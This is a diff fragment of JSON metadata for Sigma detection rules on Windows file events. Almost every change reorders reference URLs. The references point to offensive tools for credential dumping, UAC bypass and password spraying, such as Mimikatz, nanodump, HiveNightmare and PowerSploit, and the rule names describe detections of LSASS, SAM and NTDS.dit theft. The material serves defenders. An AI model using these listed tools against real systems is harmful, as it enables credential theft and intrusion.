"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" + "https://github.com/GhostPack/SafetyKatz" ], "tags": [ "attack.credential_access", @@ -22544,8 +22542,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" ], "tags": [ @@ -22570,10 +22568,10 @@ "logsource.product": "windows", "refs": [ "https://github.com/GossiTheDog/HiveNightmare", - "https://github.com/FireFart/hivenightmare/", - "https://github.com/WiredPulse/Invoke-HiveNightmare", "https://twitter.com/cube0x0/status/1418920190759378944", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" + "https://github.com/WiredPulse/Invoke-HiveNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml", + "https://github.com/FireFart/hivenightmare/" ], "tags": [ "attack.credential_access", @@ -22597,9 +22595,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml", "https://twitter.com/0gtweet/status/1465282548494487554", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy" ], "tags": [ "attack.credential_access" @@ -22622,8 +22620,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", - "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0" ], "tags": [ "attack.t1566", @@ -22674,10 +22672,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml", "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs" ], "tags": [ "attack.command_and_control", @@ -22700,8 +22698,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/" ], "tags": [ "attack.persistence", @@ -22752,10 +22750,10 @@ "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore" ], "tags": "No established tags" }, @@ -22799,8 +22797,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml", + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326" ], "tags": [ "attack.defense_evasion", @@ -22847,12 +22845,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.google.com/search?q=procdump+lsass", "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", "https://github.com/helpsystems/nanodump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" + "https://www.google.com/search?q=procdump+lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml" ], "tags": [ "attack.credential_access", @@ -22900,8 +22898,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/helpsystems/nanodump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml", + "https://github.com/helpsystems/nanodump" ], "tags": [ "attack.credential_access", @@ -22924,9 +22922,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", - "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" + "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference" ], "tags": [ "attack.initial_access", @@ -22947,9 +22945,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml", "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf" ], "tags": [ "attack.execution", @@ -22973,8 +22971,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml", + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain" ], "tags": [ "attack.t1195", @@ -22997,8 +22995,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", + "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" ], @@ -23023,8 +23021,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://cobalt.io/blog/kerberoast-attack-techniques", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml", + "https://cobalt.io/blog/kerberoast-attack-techniques" ], "tags": [ "attack.credential_access", @@ -23047,8 +23045,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml", + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/" ], "tags": [ "attack.credential_access", @@ -23096,9 +23094,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml", "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/" ], "tags": [ "attack.persistence", @@ -23122,8 +23120,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml", + "Internal Research" ], "tags": [ "attack.defense_evasion", @@ -23146,8 +23144,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Desk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml", + "https://lolbas-project.github.io/lolbas/Libraries/Desk/" ], "tags": [ "attack.t1218.011", @@ -23194,11 +23192,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml", + "https://pentestlab.blog/tag/ntds-dit/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" ], "tags": [ "attack.credential_access", @@ -23221,10 +23219,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml", "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb" ], "tags": [ "attack.credential_access", @@ -23247,8 +23245,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml", + "Internal Research" ], "tags": [ "attack.persistence", @@ -23298,8 +23296,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml", + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20" ], "tags": [ "attack.persistence", @@ -23322,9 +23320,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml", "https://twitter.com/tifkin_/status/1321916444557365248", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" + "https://twitter.com/rbmaslen/status/1321859647091970051" ], "tags": [ "attack.execution", @@ -23347,9 +23345,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" ], "tags": [ "attack.persistence", @@ -23372,19 +23370,19 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", - "https://github.com/PowerShellMafia/PowerSploit", - "https://github.com/NetSPI/PowerUpSQL", - "https://github.com/CsEnox/EventViewer-UACBypass", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://github.com/nettitude/Invoke-PowerThIEf", "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/PowerShellMafia/PowerSploit", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/nettitude/Invoke-PowerThIEf", "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" + "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml", + "https://github.com/AlsidOfficial/WSUSpendu/" ], "tags": [ "attack.execution", @@ -23408,9 +23406,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml", "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder" ], "tags": [ "attack.persistence", @@ -23457,8 +23455,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml", + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/" ], "tags": [ "attack.exfiltration", @@ -23503,8 +23501,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml", + "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19" ], "tags": [ "attack.t1547", @@ -23527,11 +23525,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/search?q=CVE-2021-36934", + "https://github.com/FireFart/hivenightmare", "https://github.com/cube0x0/CVE-2021-36934", "https://www.google.com/search?q=%22reg.exe+save%22+sam", + "https://github.com/search?q=CVE-2021-36934", "https://github.com/HuskyHacks/ShadowSteal", - "https://github.com/FireFart/hivenightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" ], "tags": [ @@ -23604,8 +23602,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -23625,8 +23623,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -23671,10 +23669,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", "https://github.com/fox-it/LDAPFragger", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml", + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/" ], "tags": [ "attack.t1001.003", @@ -23697,9 +23695,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" ], "tags": [ @@ -23749,8 +23747,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml", + "https://redcanary.com/blog/intelligence-insights-november-2021/" ], "tags": [ "attack.t1055", @@ -23775,8 +23773,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml", + "https://redcanary.com/blog/intelligence-insights-november-2021/" ], "tags": [ "attack.t1036.005", @@ -23800,8 +23798,8 @@ "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://twitter.com/SBousseaden/status/1278977301745741825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml", + "https://twitter.com/SBousseaden/status/1278977301745741825" ], "tags": [ "attack.defense_evasion", @@ -23849,8 +23847,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note" ], "tags": [ "attack.impact", @@ -23873,8 +23871,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://threadreaderapp.com/thread/1533879688141086720.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml", + "https://threadreaderapp.com/thread/1533879688141086720.html" ], "tags": [ "attack.resource_development" @@ -23896,11 +23894,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://twitter.com/luc4m/status/1073181154126254080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" ], "tags": [ @@ -23949,8 +23947,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml", + "https://redcanary.com/blog/blackbyte-ransomware/" ], "tags": [ "attack.initial_access", @@ -24027,11 +24025,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", "https://twitter.com/malwrhunterteam/status/1235135745611960321", "https://twitter.com/luc4m/status/1073181154126254080", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" ], "tags": [ @@ -24055,9 +24053,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml", "https://adsecurity.org/?p=2398", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" + "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/" ], "tags": [ "attack.credential_access", @@ -24156,8 +24154,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml", + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/" ], "tags": [ "attack.defense_evasion" @@ -24179,8 +24177,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml", + "https://github.com/last-byte/PersistenceSniper" ], "tags": [ "attack.persistence", @@ -24204,8 +24202,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml", + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm" ], "tags": "No established tags" }, @@ -24225,8 +24223,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml", + "Internal Research" ], "tags": [ "attack.persistence", @@ -24372,8 +24370,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml", + "https://github.com/hfiref0x/UACME" 